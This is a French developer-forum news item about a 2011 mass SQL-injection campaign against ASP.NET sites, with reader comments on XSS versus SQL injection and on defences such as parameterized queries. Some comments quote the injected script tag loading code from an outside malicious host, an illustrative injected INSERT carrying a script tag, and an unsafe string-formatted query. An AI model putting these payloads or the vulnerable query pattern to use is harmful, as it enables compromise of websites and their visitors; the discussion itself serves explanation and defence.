Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Une énorme vague d'injections SQL s'abat sur les sites ASP.NET
Plus d'un million de pages ont été infectées

Le , par Idelways

7PARTAGES

12  4 
Code rouge ! Une infection de masse se propage et cible les sites créés avec la plateforme ASP.Net de Microsoft.

Il s'agit d'après les chercheurs d'Armorize d'une infection par injection SQL similaire à l'épidémie "Lizamoon" survenue il y a quelque mois.

Les attaquants s'arrangent pour incruster du code HTML dans la base de donnée du site. Ce code charge en JavaScript deux sites via des iframes. Les pages cibles malicieuses redirigent vers un kit de malwares qui tente d'exploiter une panoplie de vulnérabilités, en fonction des navigateurs, lecteurs Flash/PDF d'Adobe et plug-in Java.

L'un des sites est localisé aux États-Unis tandis que l'autre se trouve en Russie. L'un des deux répond encore et continue de répandre ses ravages.

L'attaque ne marche donc que dans le cas où l'utilisateur dispose d'une ancienne version d'un navigateur ou plug-in non patchée. Une situation compliquée par le fait que seulement 6 Antivirus sur 43 sont en mesure de détecter la faille à l'heure de l'écriture de ces lignes.

Le code JavaScript en question est obfusqué en une série de codes de caractères, qui sont rassemblés et évalués au moment de l'exécution.

L'attaque se propage via reconnaissance active des moteurs de recherche et cible les utilisateurs de 6 langues particulières, dont le français.

La seule manière pour s’en prémunir consiste à utiliser les solutions NoScript-like. Pour le moment.

Source : site d'Armorize

Et vous ?

Que pensez-vous des détails de cette attaque ?

Une erreur dans cette actualité ? Signalez-le nous !

Avatar de Idelways
Expert éminent sénior https://www.developpez.com
Le 20/10/2011 à 22:44
Bonjour,

Essayez s'il vous plait, avant de cracher systématiquement sur une news et sur le métier de journaliste, de faire un peu de recherche.

J'ai eu moi aussi un doute que ce soit une attaque XSS (de code) et non pas Injection SQL, mais rien n'empêche qu'une attaque XSS arrive via une injection SQL.

On détourne une requête SQL non pas pour tout faire crasher, ou avoir des prévilèges, mais pour insérer un peu partout où l'ont veut du code arbitraire, par exemple à la place des Username, et autres champs qu'on ne pense pas systématiquement a échappé sur les vues.
Par exemple, une requête SELECT qui devient ' INSERT INTO USERS (username) VALUES ('<script src=url-script-malveillant></script>') -- '

Bref, n'ayant pas une certitude sur la nature et le mode opératoire de la faille en cours. Je me suis referé à Sucuri Research.

Je cite :
http://blog.sucuri.net/2011/10/mass-...injection.html

Mass infections from jjghui.com/urchin.js (SQL injection)
On all the compromised sites we analyzed, the following JavaScript was added to the database:
<script src = http://jjghui.com/urchin.js ></script>

Cordialement
Idelways
13  3 
Avatar de Louis-Guillaume Morand
Rédacteur https://www.developpez.com
Le 20/10/2011 à 23:54
effectivement, ca ne touche que de l'asp et asp.net or une faille par SQL injection depend surtout de la facon dont on code ses appels à la base.
mais pour moi la prouesse est tout autre parce que attaquer un site mal configuré par SQL injection cela se fait avec de l'habitude mais pour le faire de façon automatiser sur des centaines de sites c'est autre chose mais finir par faire en sorte que le resultat injecté soit en plus affiché dans la page, ca l'est encore plus! ou alors là, on ne voit que la partie immergée de l'iceberg.

bien souvent la première cause de faille est la table users, attaquée par le login et on arrive à setter un pwd pour tous les comptes mais pas faire revenir du JS.
l'autre solution est la recherche, souvent mal protégée mais là encore, le SQL injection doit être un minimum touchy pour faire revenir le js sur les pages du site.

j'ai bien une idée. injecter un code dynamique qui se base sur sys.columns et en fonction du type, va concatener son script à toutes les valeurs sans exception, l'une étant affichée un moment où un autre mais bon, ca se verra vite sur l'interface et pas seulement du js caché dans le code (parce que le texte est souvent encodé avant d'etre affiché.

bref, vivement la suite de cette histoire

ps: certains sont un peu agressifs. y a certes parfois des erreurs dans les news des journalistes mais c'est pas pire que les autres sites et surtout ici il a raison, si c'est en base, c'est une SQL injection qui sert à préparer une attaque XSS point
10  0 
Avatar de Bluedeep
Inactif https://www.developpez.com
Le 27/10/2011 à 12:47
Citation Envoyé par antrax2013 Voir le message
Le développeur, son métier c'est d'écrire du code pas du SQL.
Le SQL c'est pas du code ?
Ca vient de sortir ?


Ce n'est pas sa spécialité.
Tu veux dire que ce n'est pas la tienne.


On ne peut pas tout connaitre sur tout. Chacun son secteur.
Euh oui ... mais si je peux comprendre qu'un développeur ne connaisse ni le HTML ni les CSS, je ne prendrais en revanche jamais un gars qui ne connait pas le SQL.

Blague à part, écrire le code SQL d'une application nécessite de connaitre parfairtement l'aspect "métier" de celle ci; donc on ne peut pas imaginer une fraction de seconde comment le DBA, dont ce n'est pas le métier (je ne parle pas de coder en SQL, le DBA sait faire, mais de connaitre le métier de l'application) puisse s'occuper de cette tâche.

Ou alors tu considère la base de données comme rien d'autre qu'une sorte de "super ISAM" juste destinée à servir des données à la demande...... (et c'est, hélas, plus fréquent qu'on ne le pense .....).
7  0 
Avatar de tomlev
Rédacteur/Modérateur https://www.developpez.com
Le 20/10/2011 à 21:58
Citation Envoyé par Idelways Voir le message
Les attaquants s'arrangent pour incruster du code JavaScript qui charge deux sites via des iframes. Les pages cibles malicieuses redirigent vers un kit de malwares qui tente d'exploiter une panoplie de vulnérabilités, en fonction des navigateurs, lecteurs Flash/PDF d'Adobe et plug-in Java.
Ca ressemble plutôt à une attaque XSS qu'à une injection SQL...
7  1 
Avatar de tomlev
Rédacteur/Modérateur https://www.developpez.com
Le 21/10/2011 à 0:32
Citation Envoyé par Louis-Guillaume Morand Voir le message
ps: certains sont un peu agressifs
C'est clair... même s'il arrive aux journalistes de faire des erreurs, on peut les signaler courtoisement en évitant les attaques personnelles.

Citation Envoyé par Louis-Guillaume Morand Voir le message
si c'est en base, c'est une SQL injection
Pas forcément... enfin pour moi en tous cas, une injection SQL, ça consiste à exécuter en base une instruction qui n'aurait pas du être exécutée. Ici, le script JS a simplement été passé via un formulaire, et inséré en base comme n'importe quelle entrée utilisateur. Cette attaque n'a a priori pas bidouillé la requête SQL... même en utilisant des requêtes paramétrées, ça n'aurait pas empêché d'insérer ce texte en base. Le problème est simplement que le script entré dans le formulaire aurait dû être contrôlé et refusé, ou au minimum il n'aurait pas dû être affiché directement sur le site : il aurait dû être "HTML-encoded" (comme avec MvcHtmlString).

Bref, à mon sens il ne s'agit pas d'une injection SQL ; à un moment donné le script malicieux a effectivement été inséré en base, mais sans recourir à un hack quelconque.

Enfin bon, je peux me tromper, j'avoue n'avoir pas examiné en détail tous les éléments...
5  0 
Avatar de ixpe
Membre actif https://www.developpez.com
Le 24/10/2011 à 10:00
Citation Envoyé par matios Voir le message
Quels sont les six antivirus qui sont en mesure de détecter cette faille ?
AntiVir 7.11.15.240 2011.10.12 TR/Dropper.Gen
ByteHero 1.0.0.1 2011.09.23 Trojan.Malware.Obscu.Gen.002
Fortinet 4.3.370.0 2011.10.12 W32/Binder.RZ!tr
Jiangmin 13.0.900 2011.10.12 Backdoor/Proxyier.a
McAfee 5.400.0.1158 2011.10.12 Suspect-BA!D8F9360A6B87
McAfee-GW-Edition 2010.1D 2011.10.12 Heuristic.LooksLike.Win32.Suspicious.J


Citation Envoyé par Grabeuh Voir le message
Les SGBD peuvent convertir une suite de caractères en hexadecimal en texte au moment de l'insertion grace à certaines fonctions embarquées. Je pense que ce type d'astuces doit passer à l'aise à travers la protection des formulaires.
Exact, un "DecryptByPassphrase" par exemple passera.
Les protections par defauts bloquent les attaques XSS mais pas les injections sql.
5  0 
Avatar de ixpe
Membre actif https://www.developpez.com
Le 21/10/2011 à 11:35
Via un formulaire cela me semble difficile en asp .net.
Il y a des parametrages par defaut qui refusent toutes les balises en entrées de formulaires.

On peut desactiver le parametre via <%@ Page validateRequest="false" %> mais là on cherche les ennuis.

http://www.asp.net/learn/whitepapers...est-validation

Par contre cela n empeche pas l'injection SQL : un
INSERT INTO USERS (username) VALUES ('blabla') peut passer
par contre un INSERT INTO USERS (username) VALUES ('<script> ne passera pas...
4  0 
Avatar de Nathanael Marchand
Rédacteur https://www.developpez.com
Le 20/10/2011 à 19:49
Euh et par quel moyen?
3  0 
Avatar de ixpe
Membre actif https://www.developpez.com
Le 26/10/2011 à 10:04
L'utilisation de procedures stockées me parait le plus sécurisant.
C'est moins souple évidemment, c'est du boulot en plus, il faut faire quelques pirouettes de temps en temps mais je pense que coté securité (injection sql) on ne se pose plus trop de question.

De plus on peut gérer finement les droits sur les proc stock (qui execute quoi).
3  0 
Avatar de tomlev
Rédacteur/Modérateur https://www.developpez.com
Le 26/10/2011 à 11:54
Citation Envoyé par Marauder Voir le message
Bonjour,

SqlCommand command = new SqlCommand("SELECT * FROM Dogs1 WHERE Name LIKE @Name", connection)
command.Parameters.Add(new SqlParameter("Name", nameFromQueryString)

Un String.Format("SELECT * FROM Dogs1 WHERE Name LIKE {0}", nameFromQueryString) peut il suffir à se prémunir de ces attaques ?
Au contraire, la première forme est parfaitement sûre, alors que la 2e introduit un risque d'injection...

Citation Envoyé par Médinoc Voir le message
Le problème majeur pour les injections SQL, c'est que certains systèmes ne proposent pas de fonction SQLEscape. Notamment SQL server.

D'accord, les paramètres, c'est mieux, mais ce n'est pas une raison pour ne pas proposer la fonction. De plus, les paramètres ne servent à rien quand il est question de générer un script sous forme de fichier texte.
Bah le problème avec une fonction du genre SQLEscape, c'est qu'il y a toujours un risque de mal l'utiliser... c'est comme avec les magic quotes de PHP, ça introduit souvent des bugs bizarre parce que ça a été utilisé de travers.

Les requêtes paramétrées sont un peu plus longues à écrire, mais c'est pas non plus le bout du monde, et ça protège totalement contre l'injection SQL.
3  0